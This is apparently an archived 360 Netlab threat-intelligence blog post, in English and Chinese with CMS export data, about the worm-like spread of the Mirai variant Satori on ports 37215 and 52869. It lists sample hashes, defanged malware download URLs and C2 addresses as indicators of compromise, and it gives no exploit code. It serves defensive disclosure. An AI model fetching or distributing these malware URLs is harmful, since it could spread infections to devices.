Scanning Activity As can be seen from the following picture, the bot will scan port 37215 and 52869 randomly, determined by the remainder of a random integer mod 3. The Exploits During the scanning, Satori will utilize two different exploits, one on port 37215, while the other on 52869. * The one on port 37215 is not fully disclosed yet, our team has been tracking this in the last few days and got quite some insight, but we will not discuss it here right now.(stay tuned for our update later). * The one on port 52869 is derived from CVE-2014-8361. Not only are Satori penetrating with these exploits, but they also drive infected devices to download themselves from the same original download URL. This makes a loop, and causes Satori spreading in a worm manner. The Connection to Previous Port 23 and 2323 Scanning Upticks In our previous blog, we have mentioned an upticks on port 23 and 2323 scanning traffic in Argentina. Actually, in the next few days, more countries such as Egypt, Tunisia, Columbia have been picked up by our monitoring system, as we mentioned in the beginning of this blogpost, our investigation reveals the port scan is only part of the whole picture. Right now we just want to point out that the 2323|23 attacks and today Satori’s attack shares some common factors, for example, the samples’ name and static features, some of the C2 protocols and sharing of the same exploits. These make we believe they two are connected. We will share more details on our blog later on. IoC Samples in This Wave Satori is evolving as of our writing, we have capture some more samples with difference c2..etc, so here is only some of the IoCs. df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh Some Earlier Samples c63820d8aff3b18b3ee0eaee4e9d26b0 hxxp://172.93.97.219/okiru.mipsel fd2bd0bf25fc306cc391bdcde1fcaeda hxxp://172.93.97.219/okiru.arm ba98c78a65ebf17615fee9a7ef34b405 hxxp://172.93.97.219/okiru.arm7 8a561bda915c89668e611b0ba72b0429 hxxp://172.93.97.219/okiru.m68k f8130e86dc0fcdbcfa0d3b2425d3fcbf hxxp://172.93.97.219/okiru.x86 7a38ee6ee15bd89d50161b3061b763ea hxxp://172.93.97.219/okiru.mips 3f401fc6b8a5847376e4d070505bd9fe hxxp://172.93.97.219/cryptonite.mips a69692a2506f2127b23a8c35abe11427 hxxp://165.227.220.202/bins/mips hxxp://198.7.59.177/fahwrzadws/okiru.mips hxxp://198.7.59.177/cryptonite.mips

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Author: 360 netlab\n\n```\n[Update History]\n- At 2017-12-05 18:56:40 UTC, 2 hours after our blog goes live, we observed the C2 sending kill scan command to the bots, and that explains why the scan activities on the two ports started to drop on a global scale.\n\n- The C2 address 95.211.123.69:7654 is the typo for 95.211.123.69:7645\n```\n\nIn our last [blog](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/), we mentioned there were almost 100k unique scanner IPs from Argentina scanning port 2323 and port 23, and we concluded it was a new mirai variant. For the last few days, the scanning behavior has gotten more intense, and more countries started to show up on our ScanMon platform as scan source. We have been able to dig more into this situation and see some bigger picture, and realized that the 2323|23 scan is only a piece of a big puzzler, while we are still doing more in-depth research into this matter, we bumped into a new situation today which we think needs some immediate attention from the security community, so here is a very brief and rough write-up.\n\n**About 12 hours ago** (2017-12-05 11:57 AM GMT+8), we noticed a new version of Satori (a mirai variant which we named Satori), starting to propagate very quickly on port 37215 and 52869. This new variant has two significant differences from known mirai variants:\n\n - The bot itself now does NOT rely on loader|scanner mechanism to perform remote planting, instead, bot itself performs the scan activity. This worm like behavior is quite significant.\n\n - Two new exploits, which work on port 37215 and 52869 have been added, see below for more details. Due to the worm like behavior, we all should be on the lookout for the port 37215 and 52869 scan traffic. (For those who don’t have the visibility, feel free to check out our free Scanmon system for port [37215](http://scan.netlab.360.com/#/dashboard?tsbeg=1511884800000&tsend=1512489600000&dstport=37215&toplistname=srcip&topn=10&sortby=sum) and [52869](http://scan.netlab.360.com/#/dashboard?tsbeg=1511884800000&tsend=1512489600000&dstport=52869&toplistname=srcip&topn=10&sortby=sum), or ISC port pages for [37215](https://isc.sans.edu/port.html?port=37215) and [52869](https://isc.sans.edu/port.html?port=52869).\n\n**This malware is the newest version of Satori**. We have been tracking Satori for months, and have strong evidence this new wave of attack can be linked to [previous attack](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/) on port 23 and 2323 scanning traffic upticks.\n\nThe scanning IP (aka, the bot) numbers are now climbing straight up. For example, during last recent 12 hours we have seen 263,250 different IPs scanning port 37215, and 19,403 IPs scanning port 52869.\n\n\n\n\n#####The Malware Sample and the C2s\nWe have collected following samples from our honeypot.\n\n```\ndf9c48e8bc7e7371b4744a2ef8b83ddf\thxxp://95.211.123.69/b\na7922bce9bb0cf58f305d17ccbc78d98\thxxp://95.211.123.69/fahwrzadws/okiru.mipsel\n37b7c9831334de97c762dff7a1ba7b3f\thxxp://95.211.123.69/fahwrzadws/okiru.arm7\ne1411cc1726afe6fb8d09099c5fb2fa6\thxxp://95.211.123.69/fahwrzadws/okiru.x86\ncd4de0ae80a6f11bca8bec7b590e5832\thxxp://95.211.123.69/fahwrzadws/okiru.x86\n7de55e697cd7e136dbb82b0713a01710\thxxp://95.211.123.69/fahwrzadws/okiru.mips\n797458f9cee3d50e8f651eabc6ba6031\thxxp://95.211.123.69/fahwrzadws/okiru.m68k\n353d36ad621e350f6fce7a48e598662b\thxxp://95.211.123.69/fahwrzadws/okiru.arm\n8db073743319c8fca5d4596a7a8f9931\thxxp://95.211.123.69/fahwrzadws/okiru.sparc\n0a8efeb4cb15c5b599e0d4fb9faba37d\thxxp://95.211.123.69/fahwrzadws/okiru.powerpc\n08d48000a47af6f173eba6bb16265670\thxxp://95.211.123.69/fahwrzadws/okiru.x86_64\ne9038f7f9c957a4e1c6fc8489994add4\thxxp://95.211.123.69/fahwrzadws/okiru.superh\n```\nSatori borrows code from mirai with some major changes. \n\n\nthere are 3 C2s in the sample e1411cc1726afe6fb8d09099c5fb2fa6 we got,\n\n - 95.211.123.69:7645\n - network.bigbotpein.com:23\n - control.almashosting.ru\n\nNote: the only working c2 is **95.211.123.69:7645**, the other network.bigbotpein.com:23 and control.almashosting.ru is not actually being used here, they might be there just to trick security researcher to connect to the wrong C2s. (Note again, we also have old samples, as well as some fresh new samples coming in, in which control.almashosting.ru is really been used.)\n\n#####The Scanning Activity\n\nAs can be seen from the following picture, the bot will scan port 37215 and 52869 randomly, determined by the remainder of a random integer mod 3.\n\n\n\n#####The Exploits\nDuring the scanning, Satori will utilize two different exploits, one on port 37215, while the other on 52869.\n\n - The one on port 37215 is not fully disclosed yet, our team has been tracking this in the last few days and got quite some insight, but we will not discuss it here right now.(stay tuned for our update later). \n - The one on port 52869 is derived from [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/).\n\nNot only are Satori penetrating with these exploits, but they also drive infected devices to download themselves from the same original download URL. This makes a loop, and causes Satori spreading in a `worm` manner.\n\n\n#####The Connection to Previous Port 23 and 2323 Scanning Upticks\nIn our [previous blog](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/), we have mentioned an upticks on port 23 and 2323 scanning traffic in Argentina. \n\nActually, in the next few days, more countries such as Egypt, Tunisia, Columbia have been picked up by our monitoring system, as we mentioned in the beginning of this blogpost, our investigation reveals the port scan is only part of the whole picture.\n\nRight now we just want to point out that the 2323|23 attacks and today Satori’s attack shares some common factors, for example, the samples’ name and static features, some of the C2 protocols and sharing of the same exploits. These make we believe they two are connected.\n\nWe will share more details on our blog later on.\n\n\n#####IoC\n\n######Samples in This Wave\nSatori is evolving as of our writing, we have capture some more samples with difference c2..etc, so here is only some of the IoCs.\n```\ndf9c48e8bc7e7371b4744a2ef8b83ddf\thxxp://95.211.123.69/b\na7922bce9bb0cf58f305d17ccbc78d98\thxxp://95.211.123.69/fahwrzadws/okiru.mipsel\n37b7c9831334de97c762dff7a1ba7b3f\thxxp://95.211.123.69/fahwrzadws/okiru.arm7\ne1411cc1726afe6fb8d09099c5fb2fa6\thxxp://95.211.123.69/fahwrzadws/okiru.x86\ncd4de0ae80a6f11bca8bec7b590e5832\thxxp://95.211.123.69/fahwrzadws/okiru.x86\n7de55e697cd7e136dbb82b0713a01710\thxxp://95.211.123.69/fahwrzadws/okiru.mips\n797458f9cee3d50e8f651eabc6ba6031\thxxp://95.211.123.69/fahwrzadws/okiru.m68k\n353d36ad621e350f6fce7a48e598662b\thxxp://95.211.123.69/fahwrzadws/okiru.arm\n8db073743319c8fca5d4596a7a8f9931\thxxp://95.211.123.69/fahwrzadws/okiru.sparc\n0a8efeb4cb15c5b599e0d4fb9faba37d\thxxp://95.211.123.69/fahwrzadws/okiru.powerpc\n08d48000a47af6f173eba6bb16265670\thxxp://95.211.123.69/fahwrzadws/okiru.x86_64\ne9038f7f9c957a4e1c6fc8489994add4\thxxp://95.211.123.69/fahwrzadws/okiru.superh\n\n```\n\n######Some Earlier Samples\n```\nc63820d8aff3b18b3ee0eaee4e9d26b0\thxxp://172.93.97.219/okiru.mipsel\nfd2bd0bf25fc306cc391bdcde1fcaeda\thxxp://172.93.97.219/okiru.arm\nba98c78a65ebf17615fee9a7ef34b405\thxxp://172.93.97.219/okiru.arm7\n8a561bda915c89668e611b0ba72b0429\thxxp://172.93.97.219/okiru.m68k\nf8130e86dc0fcdbcfa0d3b2425d3fcbf\thxxp://172.93.97.219/okiru.x86\n7a38ee6ee15bd89d50161b3061b763ea\thxxp://172.93.97.219/okiru.mips\n3f401fc6b8a5847376e4d070505bd9fe\thxxp://172.93.97.219/cryptonite.mips\na69692a2506f2127b23a8c35abe11427\thxxp://165.227.220.202/bins/mips\nhxxp://198.7.59.177/fahwrzadws/okiru.mips\nhxxp://198.7.59.177/cryptonite.mips\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

77

post

2017-12-05T10:08:15.000Z

63873b9a8b1c1e0007f52f05

wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869

2020-04-15T11:08:21.000Z

public

published

2017-12-05T18:03:30.000Z

安全威胁预警：Mirai变种Satori正在端口 37215 和 52869 上类似蠕虫式传播

<!--kg-card-begin: markdown--><p>作者：360网络安全研究院</p> <pre><code>[更新记录] - 2017-12-05 18:56:40 UTC，在我们的博客发出2个小时后，我们观察到C2服务器开始向bot发送停止扫描的指令，与此同时我们看到大网上这两个端口的流量开始下降。 - 文中提到的C2地址 95.211.123.69:7654 ，实际是 95.211.123.69:7645 的笔误。 </code></pre> <p>在我们之前的blog中，我们提及有大约10万个来自阿根廷的独立扫描IP正在扫描端口2323和23，并且确定这是一个新的mirai变种。在过去的几天中，扫描行为变得愈发严重，更多的国家出现在我们的ScanMon平台上。仔细分析后我们看到了更多的部分，意识到之前2323/23端口上的扫描还只是巨大拼图的一小部分。就在我们继续深入分析的时候，我们的注意到一个新的情况出现，值得引起安全社区立即注意。下面是对这个情况非常简短和粗糙的说明。</p> <p>大约从今天中午 (2017-12-05 11:57 AM)开始，我们注意到Satori（一个mirai变种）的新版本正在端口37215和52869上非常快速的传播。这个新变种有两个地方与以往mirai有显著不同：</p> <ul> <li>bot 不再完全依赖以往的 loader/scanner 机制进行恶意代码的远程植入，而是自身有了扫描能力。这是一个类似蠕虫的传播行为，值得引起注意；</li> <li>bot 中增加了两个新的漏洞利用，分别工作在端口 37215 和 52869 上。考虑到bot类似蠕虫的行为，我们建议安全工作者关注端口 37215 和 52869 上的扫描行为。（可以参考我们的ScanMon系统，或者 ISC 的端口页面）。</li> </ul> <p>当前活跃的是Satori僵尸网络的最新版本。我们已经跟踪Satori好几个月，有强有力的证据证明当前这次攻击与之前 2323/23 端口之间的扫描攻击流量是有关联的。</p> <p>发起扫描的IP（也就是僵尸网络的bot，“肉鸡”）的数目在急剧增长，在过去的12个小时里，我们看到 263,250 个不同的IP在扫描端口 37215, 以及 19,403 个IP在扫描端口 52869。</p> <p><img src="__GHOST_URL__/content/images/2017/12/11_sharp_increase_of_scanning_ip_on_port_52869_in_darknet-1.png" alt="" loading="lazy"></p> <h4 id="c2">恶意代码样本和C2</h4> <pre><code>df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh </code></pre> <p>Satori是一个mirai的变种，同样针对物联网设备，但是也变化了很多。</p> <p>样本 e1411cc1726afe6fb8d09099c5fb2fa6 中包含的C2 有三个：</p> <ul> <li>95.211.123.69:7645</li> <li>network.bigbotpein.com:23</li> <li>control.almashosting.ru</li> </ul> <p>值得注意的是，只有 <strong>95.211.123.69:7645</strong> 这个是真正起作用的C2，另外的两个 network.bigbotpein.com:23 和 control.almashosting.ru 在当前样本中并没有真正被使用，而是有可能用来迷惑严肃的安全分析人员。<br> 再次值得注意的是，control.almashosting.ru 这个C2 在以往以及正在新收到的其他样本中也被真正使用过。</p> <h4 id="">恶意样本的扫描活动</h4> <p>如下图所示，Satori 的bot 现在会随机的扫描端口 37215 和 52869，取决于一个随机数模三得到的余数是否为零。</p> <p><img src="__GHOST_URL__/content/images/2017/12/12_scanning_activity_in_samples.png" alt="" loading="lazy"></p> <h4 id="">漏洞利用</h4> <p>Satori当前会在扫描过程中使用两个漏洞利用(exploit)，一个在端口 37215 上，另外一个在端口 52869 上。</p> <ul> <li>37215 端口上的漏洞利用尚未见到完全公开的细节。我们团队在过去的几天里持续在跟踪这个漏洞利用，也有了较为深入的了解，但是在本blog中也不会详细描述细节；读者可以继续关注我们后续文章；</li> <li>52869 端口上的漏洞利用，源自 <a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a>.</li> </ul> <p>Satori在传播过程中，不仅会利用上述漏洞利用，而且会迫使受感染设备从原始下载URL处继续下载Satori自身的恶意代码。这样周而复始，使得恶意代码类似<code>蠕虫式</code>地传播。</p> <h4 id="232323">与之前端口 23 和 2323 扫描流量攻击的关系</h4> <p>在我们 <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">早先的blog</a>中，我们提及阿根廷来源的扫描流量在23和2323端口上有暴涨。</p> <p>事实上，在blog发布后的几天里，更多的国家比如埃及、突尼斯、哥伦比亚也发生了类似的攻击。更近一步的跟踪分析发现那次攻击中使用了若干样本和某个特定的漏洞利用。</p> <p>那次攻击与本次Satori的攻击相比有若干共同点，包括样本的命名和静态特征，部分的C2协议，以及进化中的漏洞利用。因此，我们相信两次攻击是有关联的。</p> <p>我们还怀疑本次攻击与2017年8月发生在中国的另一次IoT物联网相关的攻击有关系。也许后续我们会发布另外一篇blog详细阐述。</p> <h4 id="ioc">IoC</h4> <h6 id="">本轮攻击的样本</h6> <pre><code>df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh </code></pre> <h4 id="">更早期间的关联样本</h4> <pre><code>c63820d8aff3b18b3ee0eaee4e9d26b0 hxxp://172.93.97.219/okiru.mipsel fd2bd0bf25fc306cc391bdcde1fcaeda hxxp://172.93.97.219/okiru.arm ba98c78a65ebf17615fee9a7ef34b405 hxxp://172.93.97.219/okiru.arm7 8a561bda915c89668e611b0ba72b0429 hxxp://172.93.97.219/okiru.m68k f8130e86dc0fcdbcfa0d3b2425d3fcbf hxxp://172.93.97.219/okiru.x86 7a38ee6ee15bd89d50161b3061b763ea hxxp://172.93.97.219/okiru.mips 3f401fc6b8a5847376e4d070505bd9fe hxxp://172.93.97.219/cryptonite.mips a69692a2506f2127b23a8c35abe11427 hxxp://165.227.220.202/bins/mips </code></pre> <!--kg-card-end: markdown-->

作者：360网络安全研究院 [更新记录] - 2017-12-05 18:56:40 UTC，在我们的博客发出2个小时后，我们观察到C2服务器开始向bot发送停止扫描的指令，与此同时我们看到大网上这两个端口的流量开始下降。 - 文中提到的C2地址 95.211.123.69:7654 ，实际是 95.211.123.69:7645 的笔误。 在我们之前的blog中，我们提及有大约10万个来自阿根廷的独立扫描IP正在扫描端口2323和23，并且确定这是一个新的mirai变种。在过去的几天中，扫描行为变得愈发严重，更多的国家出现在我们的ScanMon平台上。仔细分析后我们看到了更多的部分，意识到之前2323/23端口上的扫描还只是巨大拼图的一小部分。就在我们继续深入分析的时候，我们的注意到一个新的情况出现，值得引起安全社区立即注意。下面是对这个情况非常简短和粗糙的说明。 大约从今天中午 (2017-12-05 11:57 AM)开始，我们注意到Satori（一个mirai变种）的新版本正在端口37215和52869上非常快速的传播。这个新变种有两个地方与以往mirai有显著不同： * bot 不再完全依赖以往的 loader/scanner 机制进行恶意代码的远程植入，而是自身有了扫描能力。这是一个类似蠕虫的传播行为，值得引起注意； * bot 中增加了两个新的漏洞利用，分别工作在端口 37215 和 52869 上。考虑到bot类似蠕虫的行为，我们建议安全工作者关注端口 37215 和 52869 上的扫描行为。（可以参考我们的ScanMon系统，或者 ISC 的端口页面）。 当前活跃的是Satori僵尸网络的最新版本。我们已经跟踪Satori好几个月，有强有力的证据证明当前这次攻击与之前 2323/23 端口之间的扫描攻击流量是有关联的。 发起扫描的IP（也就是僵尸网络的bot，“肉鸡”）的数目在急剧增长，在过去的12个小时里，我们看到 263,250 个不同的IP在扫描端口 37215, 以及 19,403 个IP在扫描端口 52869。 恶意代码样本和C2 df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh Satori是一个mirai的变种，同样针对物联网设备，但是也变化了很多。 样本 e1411cc1726afe6fb8d09099c5fb2fa6 中包含的C2 有三个： * 95.211.123.69:7645 * network.bigbotpein.com:23 * control.almashosting.ru 值得注意的是，只有 95.211.123.69:7645 这个是真正起作用的C2，另外的两个 network.bigbotpein.com:23 和 control.almashosting.ru 在当前样本中并没有真正被使用，而是有可能用来迷惑严肃的安全分析人员。 再次值得注意的是，control.almashosting.ru 这个C2 在以往以及正在新收到的其他样本中也被真正使用过。 恶意样本的扫描活动 如下图所示，Satori 的bot 现在会随机的扫描端口 37215 和 52869，取决于一个随机数模三得到的余数是否为零。 漏洞利用 Satori当前会在扫描过程中使用两个漏洞利用(exploit)，一个在端口 37215 上，另外一个在端口 52869 上。 * 37215 端口上的漏洞利用尚未见到完全公开的细节。我们团队在过去的几天里持续在跟踪这个漏洞利用，也有了较为深入的了解，但是在本blog中也不会详细描述细节；读者可以继续关注我们后续文章； * 52869 端口上的漏洞利用，源自 CVE-2014-8361. Satori在传播过程中，不仅会利用上述漏洞利用，而且会迫使受感染设备从原始下载URL处继续下载Satori自身的恶意代码。这样周而复始，使得恶意代码类似蠕虫式地传播。 与之前端口 23 和 2323 扫描流量攻击的关系 在我们 早先的blog中，我们提及阿根廷来源的扫描流量在23和2323端口上有暴涨。 事实上，在blog发布后的几天里，更多的国家比如埃及、突尼斯、哥伦比亚也发生了类似的攻击。更近一步的跟踪分析发现那次攻击中使用了若干样本和某个特定的漏洞利用。 那次攻击与本次Satori的攻击相比有若干共同点，包括样本的命名和静态特征，部分的C2协议，以及进化中的漏洞利用。因此，我们相信两次攻击是有关联的。 我们还怀疑本次攻击与2017年8月发生在中国的另一次IoT物联网相关的攻击有关系。也许后续我们会发布另外一篇blog详细阐述。 IoC 本轮攻击的样本 df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh 更早期间的关联样本 c63820d8aff3b18b3ee0eaee4e9d26b0 hxxp://172.93.97.219/okiru.mipsel fd2bd0bf25fc306cc391bdcde1fcaeda hxxp://172.93.97.219/okiru.arm ba98c78a65ebf17615fee9a7ef34b405 hxxp://172.93.97.219/okiru.arm7 8a561bda915c89668e611b0ba72b0429 hxxp://172.93.97.219/okiru.m68k f8130e86dc0fcdbcfa0d3b2425d3fcbf hxxp://172.93.97.219/okiru.x86 7a38ee6ee15bd89d50161b3061b763ea hxxp://172.93.97.219/okiru.mips 3f401fc6b8a5847376e4d070505bd9fe hxxp://172.93.97.219/cryptonite.mips a69692a2506f2127b23a8c35abe11427 hxxp://165.227.220.202/bins/mips

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"作者：360网络安全研究院\n\n```\n[更新记录]\n\n- 2017-12-05 18:56:40 UTC，在我们的博客发出2个小时后，我们观察到C2服务器开始向bot发送停止扫描的指令，与此同时我们看到大网上这两个端口的流量开始下降。\n\n- 文中提到的C2地址 95.211.123.69:7654 ，实际是 95.211.123.69:7645 的笔误。\n```\n\n在我们之前的blog中，我们提及有大约10万个来自阿根廷的独立扫描IP正在扫描端口2323和23，并且确定这是一个新的mirai变种。在过去的几天中，扫描行为变得愈发严重，更多的国家出现在我们的ScanMon平台上。仔细分析后我们看到了更多的部分，意识到之前2323/23端口上的扫描还只是巨大拼图的一小部分。就在我们继续深入分析的时候，我们的注意到一个新的情况出现，值得引起安全社区立即注意。下面是对这个情况非常简短和粗糙的说明。\n\n大约从今天中午 (2017-12-05 11:57 AM)开始，我们注意到Satori（一个mirai变种）的新版本正在端口37215和52869上非常快速的传播。这个新变种有两个地方与以往mirai有显著不同：\n\n - bot 不再完全依赖以往的 loader/scanner 机制进行恶意代码的远程植入，而是自身有了扫描能力。这是一个类似蠕虫的传播行为，值得引起注意；\n - bot 中增加了两个新的漏洞利用，分别工作在端口 37215 和 52869 上。考虑到bot类似蠕虫的行为，我们建议安全工作者关注端口 37215 和 52869 上的扫描行为。（可以参考我们的ScanMon系统，或者 ISC 的端口页面）。\n\n当前活跃的是Satori僵尸网络的最新版本。我们已经跟踪Satori好几个月，有强有力的证据证明当前这次攻击与之前 2323/23 端口之间的扫描攻击流量是有关联的。\n\n发起扫描的IP（也就是僵尸网络的bot，“肉鸡”）的数目在急剧增长，在过去的12个小时里，我们看到 263,250 个不同的IP在扫描端口 37215, 以及 19,403 个IP在扫描端口 52869。\n\n\n\n\n####恶意代码样本和C2\n\n```\ndf9c48e8bc7e7371b4744a2ef8b83ddf\thxxp://95.211.123.69/b\na7922bce9bb0cf58f305d17ccbc78d98\thxxp://95.211.123.69/fahwrzadws/okiru.mipsel\n37b7c9831334de97c762dff7a1ba7b3f\thxxp://95.211.123.69/fahwrzadws/okiru.arm7\ne1411cc1726afe6fb8d09099c5fb2fa6\thxxp://95.211.123.69/fahwrzadws/okiru.x86\ncd4de0ae80a6f11bca8bec7b590e5832\thxxp://95.211.123.69/fahwrzadws/okiru.x86\n7de55e697cd7e136dbb82b0713a01710\thxxp://95.211.123.69/fahwrzadws/okiru.mips\n797458f9cee3d50e8f651eabc6ba6031\thxxp://95.211.123.69/fahwrzadws/okiru.m68k\n353d36ad621e350f6fce7a48e598662b\thxxp://95.211.123.69/fahwrzadws/okiru.arm\n8db073743319c8fca5d4596a7a8f9931\thxxp://95.211.123.69/fahwrzadws/okiru.sparc\n0a8efeb4cb15c5b599e0d4fb9faba37d\thxxp://95.211.123.69/fahwrzadws/okiru.powerpc\n08d48000a47af6f173eba6bb16265670\thxxp://95.211.123.69/fahwrzadws/okiru.x86_64\ne9038f7f9c957a4e1c6fc8489994add4\thxxp://95.211.123.69/fahwrzadws/okiru.superh\n```\n\nSatori是一个mirai的变种，同样针对物联网设备，但是也变化了很多。\n\n样本 e1411cc1726afe6fb8d09099c5fb2fa6 中包含的C2 有三个：\n\n - 95.211.123.69:7645\n - network.bigbotpein.com:23\n - control.almashosting.ru\n\n值得注意的是，只有 **95.211.123.69:7645** 这个是真正起作用的C2，另外的两个 network.bigbotpein.com:23 和 control.almashosting.ru 在当前样本中并没有真正被使用，而是有可能用来迷惑严肃的安全分析人员。\n再次值得注意的是，control.almashosting.ru 这个C2 在以往以及正在新收到的其他样本中也被真正使用过。\n\n####恶意样本的扫描活动\n\n如下图所示，Satori 的bot 现在会随机的扫描端口 37215 和 52869，取决于一个随机数模三得到的余数是否为零。\n\n\n\n####漏洞利用\nSatori当前会在扫描过程中使用两个漏洞利用(exploit)，一个在端口 37215 上，另外一个在端口 52869 上。\n\n - 37215 端口上的漏洞利用尚未见到完全公开的细节。我们团队在过去的几天里持续在跟踪这个漏洞利用，也有了较为深入的了解，但是在本blog中也不会详细描述细节；读者可以继续关注我们后续文章；\n - 52869 端口上的漏洞利用，源自 [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/).\n\nSatori在传播过程中，不仅会利用上述漏洞利用，而且会迫使受感染设备从原始下载URL处继续下载Satori自身的恶意代码。这样周而复始，使得恶意代码类似`蠕虫式`地传播。\n\n\n####与之前端口 23 和 2323 扫描流量攻击的关系\n在我们 